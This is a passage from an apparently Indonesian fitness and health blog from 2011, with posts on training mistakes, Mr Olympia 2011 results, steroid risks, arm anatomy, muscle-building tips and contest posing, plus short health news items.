Tubuh kita biasanya memiliki karakter yang unik pada masing-masing individu. Di setiap saat, tubuh kita mengirimkan sinyal atau pesan sebagai bentuk umpan balik (feedback) untuk kita dengarkan, evaluasi, dan patuhi. Oleh karena itu, adalah menjadi tanggungjawab bagi setiap orang untuk mengetahui tanda-tanda yang diisyaratkan oleh tubuh manakala tubuh mengalami kelelahan atau ketidaksiapan untuk berlatih. Memilih untuk tidak mendengarkan isyarat tersebut hanya akan menyebabkan tubuh melakukan “protes” lebih jauh melalui cara jatuh sakit maupun cedera pada otot. Rasa pegal yang masih belum hilang, atau bersin-bersin biasanya adalah isyarat yang terlewatkan oleh perhatian kita, dan seringkali hal ini akan semakin memburuk apabila kita tidak menghiraukan pesan yang disampaikan oleh tubuh kita.

Langkah Untuk Memperbaiki: Perhatikan kondisi fisik diri kita sendiri secara seksama. Kenalilah gejala-gejala yang biasanya muncul sebelum kita sakit, dan waspadalah terhadap gejala-gejala tersebut. Terkadang perubahan musim juga merupakan musimnya banyak virus dan bakteri beterbangan di udara. Salah satu cara paling efektif adalah dengan mengenali jumlah detak jantung saat bangun di pagi hari. Apabila jumlah detak jantung 10% di atas normal atau rata-rata, maka hal ini menandakan kualitas istirahat Anda masih kurang optimal. Untuk mengetahui rata-rata detak jantung di pagi hari, hitunglah jumlah detak jantung per menti tepat di saat bangun pagi selama 3 hari berturut-turut. Jumlahkan detak jantung untuk ketiga hari tersebut dan bagikan 3.

5. Mementingkan Beban Angkatan Daripada Form Latihan
Untuk meningkatkan massa otot, beban angkatan memang menjadi barometer utama intensitas latihan yang perlu ditingkatkan secara konsisten. Ada beban berat yang masih bisa dilakukan dengan tehnik angkatan yang benar, ada pula beban berat yang sudah melampaui kapasitas maksimum kita sehingga tehnik angkatan menjadi keliru. Hal ini adalah salah satu pemicu utama terjadinya cedera otot.

Point nomor 5 ini hampir sama dengan point nomor 3, hanya bedanya saja di point nomor 3 tehnik kurang tepat bisa terjadi bahkan di saat berlatih dengan beban yang ringan. Sementara point ini, bisa terjadi dalam konteks:

Tehnik gerakan awal salah, dan mencoba mengangkat semakin berat, atau
Tehnik gerakan awal yang sudah benar, namun angkatan berat melampaui kemampuan akhirnya memaksa tubuh menggunakan tehnik gerakan yang salah

Langkah Untuk Memperbaiki: Pastikan untuk selalu mengutamakan tehnik latihan dalam 100% waktu kita berlatih. Penambahan beban angkatan sebaiknya hanya terjadi sesuai dengan kemampuan otot sendiri untuk bisa melakukannya dengan tehnik yang baik dan nyaman. Di saat itulah massa otot tumbuh paling pesat, bukan di saat kita menambahkan beban angkatan secara membabi-buta tanpa memperhatikan kemampuan tubuh.
(By: Ade Rai, World Drug Free BodyBuilder)

Ini Dia Juara Mr Olympia 2011

2011-09-30T19:49:00.000-07:00

Mr Olympia adalah kejuaraan dunia binaraga terbesar saat ini. Kejuaraan ini diikuti oleh para juara dari berbagai event binaraga di dunia. Karena itu, juara event ini bisa disebagai champion of the champions.
Sebelum kejuaraan ini digelar, banyak orang yang memprediksi bahwa juara tahun ini akan diperebutkan antara Juara bertahan Jay Cutler, Branch Waren, Kai Greene dan Victor Martinez. Tapi prediksi tersebut ternyata sedikit meleset. Mengapa? Lihat saja hasil kejuaraan di bawah ini. Satu-satunya wakil asia di event ini masih tetap bertahan di peringkat 10, sama seperti tahun sebelumnya.

Rank 10 : Hidetada Yamagishi

Rank 9 : Ronnie Rockel

Rank 8 : Brandon Curie

Rank 7 : Toney Freeman

Rank 6 : Dexter Jackson

Rank 5 : Dennis Wolf

Rank 4 : Victor Martinez

Rank 3 : Kai Greene

Rank 2 : Jay Cutler

Dan Juaranya adalah.......
Phil Heat.........

Kuda hitam untuk tahun ini adalah Phil Heat. Banyak yang tidak memprediksikannya sebagai juara tahun ini. Tetapi saat Olympia 15 maret lalu, ia muncul dengan badan yang sangat besar.
Kita tunggu tahun depan, apakah ada tambahan wakil asia di kontes Mr Olympia?

2011-09-28T15:03:00.000-07:00

Taukah anda bahwa penggunaan helm saat berkendaraan dapat menyebabkan gangguan pendengaran? Peneliti di London menemukan fakta tersebut dan memulai sebuah kontroversi baru.
Perdebatan tidak tidak pernah habis soal plus-minus helm sepeda motor. Menurut para peneliti dari University of Bath, helm sepeda motor dapat menyebabkan gangguan pendengaran.

Menurut mereka sumber aeroacoustic dari kebisingan sepeda motor, sumber terbesar dari kebisingan untuk pengendara sepeda motor bukan pada deru mesin sepeda motor itu, melainkan kebisingan yang dihasilkan oleh udara yang melewati helm.

Para ilmuwan Inggris menempatkan helm di atas kepala sebuah manekin, dipasang dalam sebuah terowongan angin dan menyalakan kipas, menciptakan angin dan situasi kebisingan seperti naik motor.

Dengan menempatkan mikrofon di berbagai lokasi, para peneliti menemukan bahwa area bawah helm dan dekat dagu merupakan sumber signifikan dari suara yang mencapai gendang telinga seorang pengendara. Tim juga meneliti bagaimana helm sudut dan kecepatan angin mempengaruhi kenyaringan tersebut.

Namun, para peneliti memperkuat gagasan yang sudah ada bahwa pengendara yang memakai helm mengurangi risiko patah tulang tengkorak saat kecelakaan fatal. Adapun masalah gangguan pendengaran, peneliti menganjurkan menggunakan sumbat telinga.
Lalu bagaimana cara mengatasinya? Menurut saya sih sebaiknya menggunakan penyumbat telinga saat berkendara. Bisa juga menggunakan headset dari mp3 player. Ngebut sekalian dengerin lagu he he he...

Steroid dalam Dunia Fitness

2011-09-28T06:57:00.000-07:00

Bagi kita yang sering berkecimpung di dunia fitness, pasti pernah mendengar yang namanya steroid. Bahan yang katanya bisa memberikan hasil latihan yang menakjubkan dalam waktu singkat.

Apa yang Kita Ketahui tentang Steroid?

Ada begitu banyak penjelasan yang keliru mengenai steroid, mulai dari bagaimana cara kerjanya, cara pemakaiannya hingga efeknya. Apabila Anda penasaran tentang semua itu, mari kita bahas dulu mengenai mitos-mitos seputar steroid ini.

Apa itu Anabolic Steroid?

Anabolic Steroid adalah tiruan sintetis dari hormon testosteron. Hal ini telah banyak menjadi bahan perdebatan dengan informasi yang masih simpang siur. Baik atlit maupun binaraga telah banyak yang terseret arus obat yang disangka dapat meningkatkan ukuran massa otot, kekuatan dan stamina ini.

Mitos #1: Mengonsumsi Steroid Akan Mengakibatkan Kematian Secara Langsung

Hal pertama yang perlu kita pahami adalah bahwa steroid adalah jenis obat-obatan. Semua jenis obat jika disalahgunakan akan mempunyai potensi mematikan. Bagaimanapun juga, penggunaan steroid tanpa resep adalah perbuatan melanggar hukum dan jika tertangkap, maka Anda bisa menghabiskan waktu yang cukup lama di penjara.

Mitos #2: Steroid Mudah Didapatkan

Hal kedua yang sering menjadi informasi yang keliru adalah bahwa steroid mudah didapatkan. Sejauh ini, steroid merupakan obat-obatan yang membutuhkan resep, jadi apabila steroid didapatkan secara illegal atau tanpa resep artinya obat ini didapatkan di pasar gelap. Tak dapat dipungkiri lagi bahwa pasar gelap tidak akan bertanggung jawab atas keaslian dan kemurniannya, apalagi terhadap cara penggunaan, efek samping dan informasi lain yang akurat tentang obat-obatan yang akan masuk tubuh kita.

Mitos #3: Semua Jenis Steroid adalah Pil

Ada banyak jenis steroid, ada yang pemakaiannya dengan cara disuntikkan ataupun secara oral. Jenis yang disuntikkan umumnya lebih bersifat Androgenic (menguatkan karakteristik pria, seperti rambut yang makin lebat dan lebih agresif), memiliki efek samping yang tidak terlalu merusak organ dalam tubuh. Sedangkan versi oral, bersifat Anabolic dan akan lebih merusak organ dalam karena diproses dalam liver. Steroid yang berbeda memiliki fungsi yang berbeda pula, beberapa di antaranya ada yang cenderung meningkatkan pertumbuhan massa otot dan ada pula yang cenderung meningkatkan kekuatan.

Biasanya, semakin kuat efek steroid, semakin besar pula efek sampingnya bagi tubuh Anda.

Efek Psikologis Penggunaan Steroid

Berdasarkan fakta bahwa steroid memberikan semua efek yang dicari oleh para binaragawan, maka tidak terlalu mengejutkan apabila steroid ini menyebabkan ketergantungan psikologis.

Pikirkan hal ini, apabila steroid dikonsumsi selama 8 minggu terakhir, dengan asumsi pola makan dan latihan yang disiplin, besar kemungkinan untuk didapatkannya massa otot dan tenaga yang besar. Namun, perasaan tidak terhentikan akan muncul setelah 8 minggu penggunaan. Tiba-tiba kadarnya dikurangi perlahan hingga benar-benar dihentikan penggunaannya, tidak mengkonsumsi steroid sama sekali. Seminggu kemudian, mulai terasa bahwa Anda tidak mendapatkan perasaan ‘ngepump’, kekuatan makin menurun dan meskipun sudah berlatih sekeras dulu, otot justru makin mengecil. Ditambah lagi, seminggu setelah konsumsi steroid dihentikan, kadar hormon testosteron akan menurun drastis dan Anda pun akan merasakan depresi. Dari sini bisa dilihat bahwa kebanyakan orang tidak akan bisa lepas dari jerat lingkaran setan steroid.

Resiko Lain Penggunaan Steroid: Depresi dan Steroid

Dikarenakan adanya suatu siklus di mana rendahnya testosteron terjadi bersamaan dengan meningkatnya kadar estrogen, maka depresi yang terjadi pada siklus ini akan benar-benar terasa. Untuk mengurangi rasa depresi ini, Anda perlu berkonsultasi dengan dokter dan akan melalui beberapa siklus pengobatan lagi untuk mengembalikan kadar testosteron Anda sekaligus menurunkan kadar estrogen. Pengobatan-pengobatan ini tidak mungkin ditanggung oleh perusahaan asuransi karena penggunaan steroid tanpa resep merupakan tindakan ilegal. Apabila Anda tidak melalui siklus pengobatan ini, bersiap-siaplah untuk melewati masa depresi yang berat.

Jika Anda tidak tahu apa yang Anda lakukan (Anda mengkonsumsi steroid tanpa mempertimbangkan dosis dan efek sampingnya), maka Anda tidak hanya akan mendapatkan efek samping pada saat penggunaannya, namun Anda juga akan mendapatkan efek samping setelah penggunaannya. Sekali lagi, seberapa besar efek samping yang akan didapatkan tergantung dari jenis dan dosis steroid serta faktor genetik pengguna. Dengan demikian, tidak mungkin bagi kita untuk memprediksi efek samping apa yang akan dihadapi pengguna. Satu hal yang pasti, apabila Anda menggunakan steroid dengan dosis yang tinggi dalam waktu yang lama pula, maka kemungkinan besar tubuh Anda tidak mampu mengembalikan kadar testosteron secara alami dan Anda akan menjalani terapi perbaikan hormon seumur hidup.

Kemungkinan Efek Samping Steroid:

Kerja liver yang semakin berat.
Penurunan produksi hormon testosteron alami.
Meningkatkan kadar kolesterol dan tekanan darah.
Kerja kelenjar tiroid yang semakin berat.
Sakit kepala.
Mimisan
Kram
Gynecomastia (pembentukan payudara pada pria)
Insensitifitas insulin
Efek samping Androgenic: menebalnya rambut, pembengkakan prostat, kulit berminyak, retensi air tinggi, dan makin agresif / temperamental
Terhambatnya pertumbuhan apabila masih remaja (dalam masa pertumbuhan)
Diare, konstipasi, muntah
Dapat memicu perkembangan tumor

Saya tidak akan membahas terlalu dalam mengenai jenis efek samping yang akan ditemui apabila seorang wanita memutuskan untuk mengonsumsi steroid, terutama hormon testosteron dengan tipe Androgenic, tapi saya yakin pembaca bisa membayangkan apa yang terjadi apabila kita mulai memasukkan bahan-bahan kimia yang seharusnya berlawanan fungsi dengan jenis kelamin kita.

Pesan Pada Para Remaja

Steroid bukan bahan ajaib yang dapat membuat badan kita menjadi bagus. Hanya pengaturan pola makan, latihan,istirahat dan suplementasi secara disiplin dan berimbang yang akan membawa Anda pada hasil yang diinginkan dengan sehat. Banyak sekali orang yang menggunakan steroid dan berlatih secara keras namun tidak melakukan dietdan istirahat yang teratur, hasilnya tetap saja tidak banyak perkembangan.

Sebaiknya fitnessmania yang masih dalam masa pertumbuhan, jangan memikirkan untuk mengonsumsi obat ini karena kadar testosteron alaminya sudah tinggi, dan apabila kita memasukkan bahan asing maka tidak ada yang tahu apa yang bakal terjadi dalam tubuh kita semasa proses pertumbuhan ini.

Saran saya, aturlah menu makan, istirahat dan latihan Anda untuk mendapatkan hasil yang Anda inginkan.

Kesimpulan

Kebanyakan orang tidak memiliki pemahaman yang cukup mengenai steroid dan menggunakannya terus menerus tanpa tahu bahaya yang mengancam tubuhnya.

Saat hormon dikenalkan ke tubuh seseorang, maka pasti ada reaksi yang muncul, dan apabila orang tersebut tidak tahu apa yang terjadi dalam tubuhnya, artinya orang tersebut sedang bermain api.

Sebagai pertimbangan, Anda menggunakan steroid dan tubuh Anda bisa menjadi besar dalam beberapa minggu, dengan asumsi pola makan, latihan, istirahat dan suplemen teratur, namun setelah itu semuanya hilang, lalu apa tujuannya? Selain itu, untuk apa membuat diri Anda beresiko masuk penjara hanya untuk mendapatkan beberapa kilogram otot? Dan jika Anda mendapatkan steroid dari pasar gelap, berarti kualitasnya tidak terjamin. Pikirkan resiko-resiko yang sudah disebutkan di atas, apakah semua itu sepadan dengan yang akan diperoleh.

Membangun tubuh indah merupakan komitmen seumur hidup, maka jadikan itu sebagai gaya hidup yang sebaiknya dipraktekkan dengan giat setiap harinya. Hanya kerja keras yang dikombinasikan dengan pola makan, latihan dan sistem suplementasi yang efektiflah yang akan membawa Anda menuju hasil yang diinginkan.

(By Denny Santoso)

Masalah Kulit Bergelambir pada Wanita

2011-09-28T06:45:00.000-07:00

Menurut riset, wanita memang memiliki kecenderungan mengalami penurunan massa otot sebesar 5% setiap 10 tahun. Hal ini sangat signifikan karena otot adalah mesin pembakar kalori dan penentu metabolisme paling penting dalam tubuh manusia. Semakin sedikit otot yang dimiliki, otomatis semakin tinggi pula kadar lemak yang dimiliki serta, semakin sulit untuk membakar lemak, dan semakin mudah untuk menumpuk lemak.

Tumpukan lemak ini mempengaruhi kualitas hidup dari berbagai aspek. Dari segi psikologis, tentunya orang tersebut sulit untuk merasa percaya diri karena penampilan dan citra diri yang kurang optimal, mudah terserang stress. Secara fisik, rentang aktivitas yang bisa dijalankan juga menjadi lebih terbatas, libido pun menurun drastis, sulit untuk berkonsentrasi sehingga mempengaruhi kualitas kerja. Selain itu, risiko terserang beberapa penyakit degeneratif seperti kanker, stroke, jantung koroner, kolesterol tinggi, tekanan darah tinggi, dan diabetes juga meningkat tajam.

Dan masalah ini menjadi lebih menggunung apabila ternyata seorang wanita tidak menjalankan gaya hidup sehat melalui olahraga teratur, pengaturan makan yang teratur, serta istirahat teratur. Pola makan orang Indonesia kebanyakan kaya akan tepung (sumber karbohidrat sederhana), gula (sumber karbohidrat sederhana), dan lemak (sumber kalori terbesar) secara mudah menyebabkan penumpukan lemak di dalam tubuh.

Jadi kegemukan bukan saja masalah penampilan, tetapi juga sudah menjadi masalah kesehatan. Di negara-negara maju seperti Amerika Serikat, 2/3 penduduknya memiliki kelebihan berat badan dan lebih dari setengahnya sudah memasuki obesitas. Beban anggaran belanja pemerintahnya untuk mengobati pasien kegemukan bahkan mencapai ratusan juta dollar AS.

Masing-masing orang memiliki tendensi penumpukan lemak yang unik. Hal ini dikarenakan ukuran kantong dan preferensi penumpukan lemak yang berbeda dari satu orang ke orang yang lain. Ada yang memiliki kantong lemak yang lebih besar di perut bagian bawah dan pipi, ada pula yang memiliki kantong lemak yang lebih besar pada bagian pinggul dan lengan. Hal ini biasanya ditentukan secara genetik atau faktor keturunan. Dan biasanya kantong lemak yang lebih besar juga menandakan lebih mudahnya lemak tersimpan di daerah tersebut. Sehingga ada orang yang bagian tubuh tertentu lebih cepat bergelambir dibandingkan dengan bagian tubuh yang lain di mana kantongnya lebih kecil.

Anatomi Otot Lengan

2011-09-28T06:39:00.000-07:00

Otot lengan terdiri dari biceps, triceps dan forearm. Otot lengan, dada, bahu, dan punggung merupakan otot utama bagi binaraga dalam membangun tubuh bagian atas yang kuat dan memberikan bentuk yang aestetik. Satu keuntungan dari melatih lengan di bandingkan dada dan punggung adalah bahwa otot tangan adalah satu bagian otot yang menarik perhatian. Sehingga muncul anggapan otot lengan yang besar sudah merupakan indikasi bahwa orang yang memilikinya juga memiliki badan yang besar. Jadi biasanya mudah bagi seseorang untuk memacu dirinya untuk melatih otot lengan dengan maksimum.

Akibat populernya pandangan ini, banyak fitnesmania pemula melatih otot lengannya lebih rajin sehingga dengan mudah sudah mendapatkan perkembangan otot lengan yang baik, sementara seluruh bagian tubuhnya masih belum terbentuk. Hal ini terjadi karena secara tidak sadar dirinya memberikan prioritas utama pada perkembangan lengan. Dalam kehidupan sehari-hari lengan secara kebetulan menjadi bagian tubuh yang paling sering dipertontonkan dan paling banyak menarik perhatian. Jadi secara tidak sadar fitnesmania pemula melatih otot lengan dengan konsentrasi dan tenaga penuh.

Namun untuk mendapatkan lengan yang berkualitas untuk seorang atlit binaraga maupun fitnesmania, tidaklah semudah yang dikira. Otot lengan tidak saja harus besar tetapi juga harus bagus bentuknya. Artinya proporsi antara biceps dan triceps yang proporsional yaitu biasanya 2/3 triceps dan 1/3 biceps. Selain itu latihan forearms juga harus disesuaikan dengan lengan bagian atas. Juga yang tidak kalah pentingnya adalah ukuran dan bentuk otot lengan yang proporsional dan seimbang dengan ukuran otot-otot lain di sekujur tubuh. Untuk mendapatkannya, diperlukan eksekusi jenis-jenis latihan bagi masing-masing bagian otot dan pengaturan agar masing-masing otot mendapatkan porsi latihan sesuai dengan yang dibutuhkan.
Lengan bagian atas atau upper arms merupakan “show muscle” yang paling sering dipamerkan guna menarik perhatian. Dalam dunia fitnes dan binaraga, otot ini memberikan kesan tersendiri baik dalam pertandingan ataupun dalam aktivitas sehari-hari. Merupakan seni tersendiri untuk melatih otot lengan agar terbentuk dengan sempurna. Berikut adalah manfaat melatih masing-masing bagian lengan baik dalam binaraga atau dalam olahraga lain.
•    Triceps
Dalam fitnes dan binaraga, otot triceps sangat berperan untuk membantu latihan lain yan berupa gerakan “pushing” atau mendorong seperti dalam latihan otot dada dan otot bahu. Otot triceps juga merupakan salah satu elemen yang membuat penampilan seorang fitnesmania maupun atlet binaraga menjadi lebih indah dan kuat, karena 2/3 dari volume lengan atas terdiri dari otot triceps ini. Gerakan mendorong ini pun penting bagi olahraga lain yang melakukan gerakan pressing seperti senam (gymnastics) dengan berbagai alat, renang, tinju, beladiri, dan memukul dalam baseball. Gerakan meluruskan tangan secara eksplosif yang memerlukan bantuan kekuatan triceps terlihat dalam olahraga tennis saat melakukan servis, pukulan karate, melontarkan pukulan “punch” dalam tinju, mengoper bola dalam olahraga bola basket dan yang lainnya.
•    Biceps
Dalam fitnes dan binaraga merupakan otot yang paling sering ditonjolkan, dan melambangkan kekuatan. Biceps perlu dilatih dengan sedemikian rupa agar dapat seimbang dengan triceps. Latihan otot ini membantu menguatkan gerakan menarik “pulling” yang dibutuhkan saat mengangkat tubuh dalam senam high bar, rings dan parallel bar. Pegulat, pejudo, pemanah, atlit panco, atlit dayung juga memerlukan gerakan mencengkeram dan menarik juga memperoleh keuntungan dengan melatih otot ini.
•    Forearms (Lengan Bawah)
Dalam fitnes dan binaraga otot ini biasanya sudah terlatih secara otomatis karena banyak digunakan saat melakukan latihan otot punggung yang berat seperti pull up, deadlift, barbell row, dan deadlift. Tapi untuk orang tertentu yang merasa pembentukan ototnya kurang optimal, maka otot ini pun perlu dilatih secara khusus. Dalam olahraga lain seperti bola voli, baseball, dan golf, bulutangkis, panahan, tennis, bilyar, squash, golf, baseball dan senam, perkembangan otot ini sangat membantu meningkatkan kualitas permainan dan performa.
(written by Ade Rai)

Meletakkan Dompet di Saku Belakang Berbahaya!!!

2011-09-22T06:36:00.000-07:00

Menjadi pemandangan umum melihat para laki-laki meletakkan dompetnya di saku belakang celana. Tapi kebiasaan ini sebaiknya dihilangkan karena bisa mempengaruhi saraf-saraf yang ada di tubuh.

Para ahli mengungkapkan orang-orang yang duduk dengan dompet di saku belakang celana memiliki risiko merusak saraf-saraf kunci. Kondisi ini sudah menjadi sangat umum di masyarakat hingga dijuluki dengan nama hip-pocket syndrome atau wallet-neuropathy.
Laki-laki yang selalu meletakkan dompet di saku belakangnya adalah kelompok yang paling berisiko terkena kondisi ini. Ahli fisioterapi menuturkan adanya lonjakan jumlah laki-laki yang menderita atau mengeluhkan sakit punggung bagian bawah, dan diduga posisi dompet menjadi penyebab utama kondisi ini.

"Saat ini semakin banyak pasien saya yang datang ke klinik dengan keluhan seperti itu. Kondisi ini dipicu oleh posisi dompet yang menekan saraf di belakang tubuh dan seiring waktu bisa menyebabkan linu panggul," ujar Julian Forth, seorang fisioterapis di Buckhurst Hill, Essex, seperti dikutip dari BBCNews, Senin (14/3/2011).

Firth mengungkapkan dompet tersebut akan menekan saraf-saraf di tubuh baik pada saat orang mengemudi atau ketika duduk di tempat kerja. Kondisi ini juga bisa mengakibatkan rasa sakit atau mati rasa pada pergelangan kaki, kaki bagian bawah dan menimbulkan rasa sakit saat berjalan, duduk atau berbaring.

Jika seseorang meletakkan dompet di saku belakang, maka akan menimbulkan ketidakseimbangan yang secara tidak sadar melibatkan otot, tulang dan yang paling penting adalah sistem saraf. Ketidakseimbangan ini membuat seseorang duduk cenderung miring dan mencoba untuk tetap menjaga keseimbangan yang berpusat pada panggul.

Kondisi ini kemungkinan melibatkan satu atau dua kurva kompensasi dari tulang belakang yang membuat posisinya menjadi tidak sejajar. Secara tidak sadar hal ini akan membuat bahu menjadi merosot. Itulah sebabnya meletakkan dompet di saku belakang bisa menyebabkan nyeri pada leher, punggung dan juga bahu.

Jika laki-laki berpikir bahwa ia tidak mengalami keluhan apapun, sebaiknya tetap menghindari kebiasaan tersebut. Meski demikian ada beberapa hal yang bisa dilakukan untuk menghindari risiko gangguan saraf, seperti dikutip dari siouxcityjournal.com yaitu:

1. Melakukan sedikit peregangan sebelum duduk

2. Mengeluarkan dompet dari saku belakang sebelum duduk meskipun dompet tersebut tidak tebal

3. Meletakkan dompet pada tempat alternatif lainnya seperti saku jaket atau di dalam tas

4. Duduklah dengan nyaman di kursi atau sofa dengan permukaan yang datar sehingga tidak mengganggu saraf dan struktur tulang serta ototnya benar

5. Jika sudah timbul keluhan sebaiknya segera konsultasikan dengan fisioterapis untuk memperbaiki postur tubuh dan tidak memperburuk keadaan.

(Sumber: kaskus.us)

Bagaimana Membangun Massa Otot?

2011-09-18T14:48:00.000-07:00

Anda merasa bahwa massa otot anda saat ini terlalu rendah dan ingin meningkatkannya lagi?. Berikut adalah 8 langkah yang bila dilakukan akan menambah massa otot seseorang dengan mudah. Langkah-langkah tersebut adalah:

1. Berusahalah Untuk Menjadi Lebih Kuat

Angkatlah beban yang lebih berat. Massa otot yang terbentuk pada saat seseorang mengangkat beban yang lebih berat dari biasanya adalah massa otot yang padat. Massa otot ini akan tetap bertahan walaupun orang tersebut melakukan program diet.

2. Konsumsi Kreatin

Kreatin adalah suplemen yang cukup terkenal di kalangan binaragawan. Suplemen ini dapat menambah kekuatan dan ukuran otot. Fungsi dasarnya adalah mendorong air untuk masuk ke dalam otot serta mendorong terbentuknya ATP yang merupakan bahan penting untuk konstraksi otot. Semakin efektif otot berkontraksi, semakin besar kekuatan yang diproduksinya. Dosis yang disarankan para ahli adalah sekitar 5 sampai 10 gram per hari.

3. Berbuat Curanglah (Sesekali)

Kadang boleh juga memenuhi keinginan kita untuk makan makanan seperti pizza, burger atau makanan tidak sehat lainnya. Makanan ini akan menghilangkan stress karena diet dan juga memberikan ekstra asupan kalori yang dibutuhkan tubuh untuk memulihkan diri dari latihan berat yang dilakukan. Perlu diingat, hanya boleh dilakukan kadang-kadang saja.

4. Awasi Kegiatan Diluar Latihan

Saat berusaha untuk membentuk otot, kadang orang melakukan latihan beban yang disertai latihan keras lainnya. Contohnya atletik atau renang. Perlu diingat bahwa latihan ekstra akan membutuhkan kalori ekstra pula. Jadi, sesuaikan jumlah kalori yang diasup dengan jumlah latihan yang dilakukan. Jika hal ini tidak diperhatikan, maka otot akan susah untuk terbentuk karena kalori ekstra yang dimiliki tubuh akan selalu dibakar menjadi energi.

5. Jangan Berlatih Berlebihan

Tubuh manusia akan mudah lelah jika melakukan latihan berat dalam keadaan berdiet. Hal ini dikarenakan tubuh tidak memiliki kalori ekstra yang dibutuhkan untuk memulihkan diri dari latihan berlebih. Tubuh akan memberitahu saat latihan yang dilakukan sudah terlalu berlebih dengan dua cara, membuat manusia menjadi lelah terus menerus maupun dengan sakit ringan seperti flu.

6. Pemulihan

Berikan waktu pemulihan pada tubuh setelah berlatih dengan keras. Jadwalkan hari libur latihan disela-sela jadwal latihan keras. Hal ini akan membantu tubuh untuk menguatkan diri dan memperbaiki diri dari latihan keras.

7. Tidur

Tidur 8 jam sehari sangat disarankan untuk memulihkan kondisi tubuh. Selain bangun dengan tubuh berenergi, selama tidur, tubuh melepaskan semua hormon yang diperlukan untuk pertumbuhan. Hormon ini akan membantu pembentukan massa otot dan juga pemulihan kondisi tubuh agar menjadi prima dan siap untuk berlatih lagi.

8. Latihan Kardio

Jantung adalah otot terpenting dalam tubuh manusia. Latihan kardio akan meningkatkan nafsu makan sehingga akan mudah untuk mengatur pola makan yang bersih dan sehat. Latihan kardio akan memperkuat sistem kardiovaskular yang sangat penting bagi latihan pengangkatan beban yang berat.

(Dikutip dari dunia binaraga)

Pose untuk Body Contest

2011-09-13T16:52:00.000-07:00

Apakah anda sudah berlatih dalam periode yang cukup lama dan merasa bentuk badan anda sudah ideal? Ini saatnya menunjukkan hasil latihan dan membandingkannya dengan hasil latihan orang lain dalam Body Contest.
KRITERIA PENILAIAN DALAM ULTIMATE BODY CONTEST
Penilaian dalam body contest tidak hanya melihat semata-mata pada otot yang dimiliki oleh peserta. Kriteria penilaian tersebut adalah :

1. Massa Otot
Body contest sangat berbeda dengan event binaraga, dalam body contest tipe badan yang bulky seperti binaragawan malah akan mengurangi penilaian, begitu juga dengan massa otot yang terlalu tipis walaupun kering juga memberikan penilaian yang kurang baik. Yang dikehendaki adalah mereka yang memiliki massa otot proporsional tidak terlalu bulk dan tipis.
2. Definisi dan simetri Otot
Definisi otot menunjukkan seberapa jelas otot Anda dengan rendahnya kadar lemak Anda. Sedangkan simetri adalah keseimbangan antara perkembangan massa otot tubuh yang satu dengan massa otot tubuh yang lain.
3. Fashion/ Style
Fashion dalam body contest juga merupakan faktor penilaian yang tidak kalah pentingnya, meliputi : cara berpakaian (kreatif/tidak), aksesoris yang match dan pantas, penggunaan minyak posing (baby oil) secukupnya.
4. Performance
Performance merupakan bagaimana cara Anda menunjukkan / mempresentasikan otot Anda di atas panggung ke hadapan para juri. Merupakan poin vital di event body contest. Anda dapat saja memiliki fisik terbaik di panggung, tetapi jika Anda tidak bisa menunjukkan; maka nilai Anda akan turun di mata juri. Presentasi panggung meliputi senyum, keluwesan dan attitude peserta saat di panggung, menguasai panggung yang luas, dan yang terakhir cara posing tidak boleh seperti pose binaraga karena kontes ini bukanlah kontes binaraga.
Pose wajib dan pose bebas dapat berbeda-beda di antara tiap kontes, pelajari pose apa yang diperlukan. Akan sangat memalukan jika Anda tidak bisa melakukan pose yang diinginkan juri, secara umum pose yang diwajibkan dalam body contest adalah:
Relax Pose

Pose ini dilakukan dengan berdiri santai, tetapi dengan tetap mengunci otot perut, sehingga definisi six pack tetap terlihat
Front Body Pose

Pose ini bertujuan untuk memperlihatkan otot dada, perut, lattisimus dorsi, definisi biceps dan deltoid

Back Body Pose

Abdominal Pose

Side Body Pose

Pose ini bertujuan memperlihatkan definisi otot dada bagian samping, deltoid, triceps dan juga oblique/serratus

Film Spongebob Bisa Rusak Konsentrasi Anak

2011-09-13T07:08:00.000-07:00

Pernahkah anda menonton film kartun Spongebob?

Serial kartun terkenal, Spongebob Squarepants, ternyata menuai kontroversi bagi anak-anak. Tayangan tentang spons lucu yang tinggal di bawah laut keluaran Nickelodeon tersebut dianggap membuat anak usia prasekolah sulit memusatkan perhatian.

Menurut stasiun berita MSNBC, 12 September 2011, penilaian itu dirangkum dalam sebuah studi yang dipublikasikan jurnal Pediatrics. Studi tersebut menunjukkan, rentang perhatian anak usia prasekolah pada hal lain jadi kacau setelah menyaksikan kartun Spongebob.

Hal yang sama tidak terjadi jika anak-anak tersebut menyaksikan kartun lain, yang lebih realistis. "Zaman sekarang, anak-anak mulai menonton televisi sejak usia empat bulan. Mereka akhirnya jadi terlalu banyak nonton televisi," tulis Dr. Dimitri Christakis, yang mencatat hasil studi tersebut.

Walaupun Akademi Dokter Anak AS menganjutkan supaya anak di bawah usia dua tahun tidak menyaksikan televisi, masih banyak yang berpendapat bahwa menonton televisi diperbolehkan asalkan hanya di saluran pendidikan. Christakis, yang juga seorang dokter anak di Rumah Sakit Anak Seattle, mengungkapkan bahwa kualitas tontonan anak sama pentingnya dengan kuantitasnya.

"Kebanyakan orang tua sekarang terlalu mengkhawatirkan jam yang dihabiskan anak-anak mereka di depan televisi daripada apa mereka tonton. "Hal ini bukan tentang mematikan televisi, melainkan mengubah saluran," kata Christakis.

Dalam studi tersebut, sekitar 60 anak usia 4 tahun dijadikan obyek penelitian dan dibagi ke dalam tiga kelompok sebelum diberi tes. Kelompok pertama menonton Spongebob selama sembilan menit, kelompok kedua menonton sebuah kartun yang lebih realistis tentang anak usia prasekolah, sementara kelompok ketiga menggambar selama sembilan menit.

Hasilnya, kelompok yang menonton Spongebob mendapat nilai paling rendah. Para peneliti berpendapat, otak anak prasekolah belum mampu mencerna segala fantasi dari kartun yang bertempo cepat itu, sehingga hal ini mengacaukan rentang perhatian mereka.

"Hal ini mengkonfirmasi fakta bahwa para orang tua sengaja membuat anak-anak mereka menyaksikan acara bertempo cepat supaya mereka tidak rewel. Yang terjadi adalah, mereka malah menjadi lebih rewel begitu televisi dimatikan," kata Christakis.

Pihak Nickelodeon menyatakan bahwa Spongebob memang tidak ditujukan untuk anak usia prasekolah, melainkan untuk yang berumur mulai dari enam hingga sebelas tahun. Kartun yang ditujukan untuk anak usia prasekolah, misalnya, adalah Dora The Explorer.

"Mungkin langkah berikutnya yang bisa diambil adalah mencoba mengira-ngira selama apa efek negatif Spongebob bisa bertahan," kata Rachel Barr, psikolog dari Georgetown University.

Melalui penelitian yang pernah dilakukannya, terungkap pula bahwa acara yang tidak ditujukan untuk anak prasekolah akan menimbulkan efek buruk jika ditonton oleh anak prasekolah.

(via vivanews)

Diet Sehat itu Seperti Apa?

